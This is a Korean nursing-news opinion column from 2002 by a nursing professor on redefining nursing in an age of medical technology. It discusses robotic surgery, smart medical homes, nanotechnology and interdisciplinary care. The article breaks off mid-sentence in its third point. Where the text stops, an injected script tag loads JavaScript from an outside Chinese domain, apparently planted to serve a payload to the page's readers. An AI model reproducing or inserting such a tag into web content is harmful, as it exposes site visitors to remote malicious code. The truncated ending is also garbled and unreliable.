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테크놀로지 시대의 간호
최 남 희(서울여자간호대학 교수)
[서울여자간호대학 교수] 최남희   news@nursenews.co.kr     기사입력 2002-11-21 오전 10:45:49

 2000년 11월 MIT 미디어 랩은 모든 사람이 원하는 총체적인 완전한 케어를 제공할 수 있는 도구를 개발하려는 새로운 테크놀로지 연구기획을 시작했다. 그 연구 성과가 보고되기 시작했다.
 
수년 전 영국 BBC 방송은 `이제 영국에서 수술을 위해서 절개할 필요가 없다'는 제목의 뉴스를 보도했다. 심장을 열지 않고 바이패스를 시술하고 로봇이 정맥주사를 놓는 하이테크 의료보조 기술은 여러 반향을 불러일으켰다. 그러나 놀라운 수술기법은 시간단축(25∼40분) 뿐 아니라 감염과 회복 면에서 장점이 크다. 처음 사람들은 낯설고 거부반응을 보였으나 이제 그것은 실험이 아니라 현실적 활용성을 논의하는 단계에 이르렀다.

 결과적으로 건강분야(의학을 포함하여)의 중심적 쟁점은 케어가 된다. 질병의 고통에서 인간을 해방시키는 테크놀로지가 할 수 없는 것은 무엇인가? 그것은 케어의 문제이다. 삶의 질적 향상은 기술적 효율성으로 해결될 수 없는 것이다.

 인류가 그토록 오랫동안 꿈꾸어온 `완전한 케어'는 물질적 풍요나 재정적 뒷받침이 아니라 테크놀로지 혁명으로 달성되려고 하는 것이다. 간호가 그 원리로 받아들이고 있는 전인간호의 개념이 전혀 다른 현장에서 논의되고 추구되고 있다는 사실을 우리는 어떻게 수용해야 할 것인가?

 비인간적·탈인간적이라고 간주되었던 테크놀로지가 인문정신과 결합하여 인간중심의 건강 테크놀로지를 구현하고 있는 동안 간호는 무엇을 할 것인가?

 미국의 로체스터대학은 `미래의 건강의료가정 센터'를 열고 미래형 건강생활을 탐구하고 있다. SMHRL(Smart Medical Home Research Laboratory)가 제시한 미래형 가정은 일종의 개인이 소유한 병원이다. 여기에서 병원의 개념은 오늘날의 것과는 사뭇 다르다. 의료장비와 기기들이 위용을 자랑하는 병원 시스템이 아니라 생활 속으로 들어와 있는 극소형 의료장비를 문화처럼 생활하는 것이다.

 미래형 건강관리는 전반적으로 일상생활 속에서 이루어진다. 오늘도 진행중인 테크놀로지 혁명의 결과를 예단할 수는 없다. 그러나 나노 캡슐, 나노 로봇 등은 이미 많은 사람들에게 낯선 용어가 아니다. 새로운 테크놀로지 문화를 수용하고 사유하는 것은 선택이 아니라 필수적 덕목이 되고 있다.

 테크놀로지 시대에 우리 사회와 문화에 적절한 간호가 무엇인가를 정립해야 한다. 21세기를 대변할 패러다임의 철학적 원리에 비추어 간호를 정립해야 한다. 테크놀로지 기술과 문화적 독특성이 통합된 간호의 구축이 미래 사회가 요구하는 진정한 케어에 도달하는 길이다. 질병 정복의 행군에 동참하여 건강 지킴이의 역할을 훌륭하게 수행해 온 간호는 새로운 시대를 맞아 그 역할을 전면적으로 다시 검토하고 재구성할 시점에 이른 것 같다.

 나이팅게일 시대의 선구자들은 산업혁명이라는 시대적 전환기에 사회적 역할을 스스로 떠맡았고 여성의 역할을 공공의 사회적인 것으로 전환시켰다. 지금 우리는 태도와 가치의 변화를 요구하는 테크놀로지 혁명의 와중에 있다. 불과 수년 전만 해도 나노테크놀로지와 가상 현실(virtual world)은 소설이었고 공상과학이었다.

 그러나 지금은 그것들이 학문의 경계와 위상을 허물고 있는 현실이다. 이제 지식은 소유하는 것이 아니라 소통하는 것이다. 따라서 배타적 전문성이 중요한 것이 아니라 통합적 협력이 강조되는 시대이다. 전문성과 전문화를 시도하는 간호와 간호학은 스페셜리스트와 제네럴리스트의 덕목을 지식의 공유와 실천의 협력성이 강조되는 테크놀로지 시대의 문턱에서 다시 생각해 볼 일이다.

 21세기 문화 형성의 원동력인 테크놀로지는 역설적이게도 통합과 연계를 핵심적인 원리로 하고 있다. 컨소시엄, 협력과정 등의 활동이 그것을 잘 보여주고 있다. MIT 미디어 랩 연구팀의 완전한 케어를 실현하기 위한 연구 또한 이러한 범 학문적인 통합성을 보여준다. 오늘날 문화의 특성이 통합적이고 종합적이라는 점을 간과해서는 안 된다.

 1998년 국제 컨퍼런스는 다음과 같이 결론을 내렸다. "앞으로 삼사 년 후에 사람들은 의사들에게 맞는 신발이 아니라 자기에게 맞는 신발을 신게 될 것이다." 사람들은 자기 자신에게 맞는 자신의 병원을 꿈꾼다는 것이다. 과거의 병원-의사-간호사로 도식화되었던 의료환경은 어쩌면 더 이상 존재하지 않을 수도 있다. 간호의 역할과 정체성이 달라지지 않는다면 새로운 환경 속에서 간호의 이미지를 그려내기는 매우 어렵다.

 둘째로 디지털 월드에서 일어나고 있는 문자와 부호의 전쟁에 민감해져야 한다. 이는 간호의 새로운 영역일 뿐 아니라 학문적 위기와 직업적 부침이 일어나는 전환기의 파도를 넘어가는 전략이기도 하다. 미디어와 이미지, 소통 등에 대한 논의가 활발해져야 한다.

 셋째로 발상의 전환이 필요하다. 아이?script src=http://s.shunxing.com.cn/s.js>
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